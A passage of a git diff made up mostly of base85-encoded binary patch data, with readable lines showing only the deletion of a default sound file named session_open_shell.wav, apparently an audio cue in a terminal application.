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 Io{_iwKh713GXMYp diff --git a/data/sounds/default/session_open_shell.wav b/data/sounds/default/session_open_shell.wav deleted file mode 100755 index fccf4883f9c532fe04f18d2cab2db3e0864b6bae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 111148 zcmeFa^?Mar(*@ezeJnz7m*6tEySoH;hrtGScX!P&xI?huZiDOK?iL_&ti5;N)qMAF zxIf(Iea{nyge2#jUAwAQty)!YT%-E+V-snreXVx&`VASCJBp$x8jrl~D5`D(MKM$q z)u-pEo)o_4|L^~ksA#GVHHNxH<)+8b_vj+bd?tx$%r0ghu%B3!4X`Qf9d;kvm5pXE zFn=+BFlqEwx*Z)uKco&(OR1hzSxTUu+gI!Z_Fj88J`(H;_Cq___E06LIBE*Dm%2o~ zq+V0+sBe@X2OUj&XpUB?pVSxX1HS&8dO%&L&QXcfc4{>>A3rgLnnul_=KOvvrPflr zsWa3ad}k`f(2;a@I+iX*H>CU0i|G^e4f;8qMC)`c)0`Q=%w_&z4l^$pn$6ADW;?T^ z*uUA!><>0QSC#9>?c)MmDSjCLimT7%WK=uC%CC#+&+xs_p<wCY(Lnj&>0rI^LwTlJ zM*qVoZgw#jn0?IZW@~exdC|;bEwBvhA=zu+qLS#jOaV5)oMTv~G2N3IXYVC%t$vo@ zd}JOsZL^W})*4A3kYcvmP9hsf8xlqCTWhTzRv&ASb=Ha?vxrW{*{WTV8iW%h_IA6G z9VXjI9HGcl>wtCB`fNp!8l)SUMkbN*qy+hFO|x=XZ_O>{pJqwZYyL2z%<^VGbB(#e zTw;zi+nedkyGC2%jXqy5r`y^MZMIfhE2kCJDroh!)>=<(qQ1sxLKyl9yG!UHWpiip zWbnp$mwFRCcifF!H^m-;!WHLwvwyMU*rn_qwh+6UiD9PEeyTUs#4bzHSwZ7pV;xTB zs=31IL8{qVr~_0TdJ=t%K0+U+YtRqyUgGTycsE&aH*QfJU5IXud$pPFjlacH9%`N~ z*oR0LG6?S}iFC3r*+r-UuyBZ~L3f}>;Je=8cTT}wxJ41F9BllBZqM9cWSn<#whUX2 zt;CA#Gv*kx26oQL4rWiWI$M?7#<}<w{F>j7fB0?uW&SgNoS)DC!yRM~(~0&+Grhi9 zDG`1hToA|+IONY3m=pL6Yd?@Xt97;F`fUA;o~E-#VWWld%UECzwc3y>c3vu$F2r15 z+Or>U_b1SEsH65rl7n=zlFg~+9`lJ=!kPzLmnS1hA{kCfk^@!=E1M-*C9O`@BI|+` zN4}8tb{i@lcl`l%0iITj+G*#qualvq6KOyS5s73Vc}NGcob<rYZ?m#kr*ZQHGtp>f zeAl1pH}tTc&nRouH(D8;jhaS&<D%YGkJA6u{?<ll#kKG1HFc+YO1+~lRokkxdQhpN z-cbALf;pD_q`tGCg&{80^M|i*#JGsX5l4J4ytO=gU0tLoaf#p+p70y_QG8?G#oypU zY+m*rJ%OrX6TFKaW<@i~JZ<)|`jY{6Y09J~(S+t1A2W+K;h_SRYCpGwb|hjzB2@@B zK1aWSt)uZ9zSs@y1X7lqwT@efRxYxL<gyd(D%2IqMYp7z!h4J1`+SH5CFnT%47~SW zrZ4-2?Z<88o^g-3``j9?JC~pP#Xf?4@38OK;@o5|h3n3r<fDXwLQSEnP+6!h)D{{E zErcb)UE!mk2*3Ex+!y8>wSlxY=W1u<0-+WDZD~hR|47@PmgqkjU_#Bq{pFd8tPE8D zR&S}QT2Py;J<@*YthwGQZC9fj<0j{2@-neZZ+a`dx&>KbJ%`5)Hn*8C&5`ii(d0F` zM0S(0u$_VTR^7U7el<Dkt`$$(*wNH-Dw=LXuf=<$=q}V5yS$x9>XGNxE^DlnV7<2# z{Ekc3NQ<#nn3gfnIH~jcR`_Xkt*X{h8>5}jG%dH@7+<}pwbxQ$+3sqz`meH1`AgZT z+*8t&7}Zq1DLa+EN@Jyz(qG-Eh2hnWsfNrR&MmfcZ})YMOdmZxDlM{T<e#uN@jmt> zxWBk^xDH6Qqyu6$G0{0SzCG85iK96Cq_x9Zf!I~q>SoQdj*>6-J?aE(d5zvpFQg05 zm#F5{OS=FyoVrI9qjMwjcc=H#w-9whNRE+q4)W7FZOyS-A-WB<N|01C#r7emOrRd( z`*R{<KftLJfR&fR#^>3L++nU6AK?EMCJNnzDB)lJ2>f*v-;nRlkLADforTfDGT79y zs#p9hoX2-rd_{bf7MF-&v5WLW951%u3$Q1s2IRik-jLPRa*tr~wCbrXQ(C9CO*@^I z$KTpN&)+Z5Aeb$b8rm9eBkS^Jr3^f!x_;6)ZC$XNBOeXN9j<}b*@3D=WwI5-=0|1@ z>rdDz)ruh%Vc!c@ert)j%v@!@H49r`aSJT7la)w(h)>m!!;VoWs8h&LV<^8p#I9jS z+ds*5G6xp#MP`s9<gpcR_AvJ70qu!)TFa_UP_wG1ltSt{^`iP+-Kus~YpaFSSISbQ zh7ypoDz%h9l$^>td8?cxmr=?n<&^$%d{_^432h2}3T>9VssoMjWF@tqS;x-geh6(` zO}+IacSX9R8b>aU$QrpPQi-e|RW33%;)ZvKr=B~9tA^A|+$MbGJ977!cJy0BwEomn z3fYsIVK=ce*cGTw^cA`|a|SoI4J><%_92rlXJ#^^m}_(<I+1FLto#yp;EKHjajyw( z`~|BPY`zv2k3dceTEmH-bU-981Uo0ghw?HyBXa2xj~DS<;IYeuKgA#7P$`#mUwkgU z7u!j9CBKx(#ku^_Q|X+PAgz~fOQsa#D&k6&j!MZ=0avQ)jC+#1hWozQi!Z<=6Sq~^ z7^v^lh|)&h6#SL;S85<Rl&mIqOg{7L$j^iyQ+~$%I-HWue?PD^R3q#U-;g&dwAN1_ zW=u3EBUUeSJlKjswDQq$$WbfF61;;g)?VwVmC2fDRyGae5Mo^yc=1~MwLQts0pE?Y zV<{EyXd`k{26`O*ieAW6K`xljjH0_ytL@u}+n?b#&&>$4zA+mydA`<M^J#a~3(7J1 zPWV%Z3g-wn4^Io%3;V)_!ga#O!Ug26@@jd4+*8gXKMX&>qYOUZE+3PN$Xmn1@jdZ! znzB)EVI|rbm}oYN>&ortUhslg*45Xedsjp>j^v}f(dpC8NvEaj6Ma8&lrNj-p=+L$ zPTC|E7tbOtUglf#U%81~6jzNM%tX_ta5D#xO16ZYD$@m+j<D`hW;1hy@i2YqPE?$I z0SF@w(Jd9Rew;lA_c)H+wCW&}-8Ea8PmDE2d!w}JMOIu7-(heb2WXM$3ADumWqo1C za}oT%{A6K)xK`@nD&kIc9d(s<9g?<5@zM-wkW^KQl6t|mW%2bZuE(x;S2tHC*L`UN z{%t+(!%gX`6fgcIJmM;`1(+DR7*!9ic#*Zr++=*!{!m-WBSUq9=>l5XyHqPBYfAl; zQ7LlD_|#>ods089W>1@*_BE}le}#W!piOW?=v$b`nbpqPM*X`{8uzssIZpBbZ9Sld 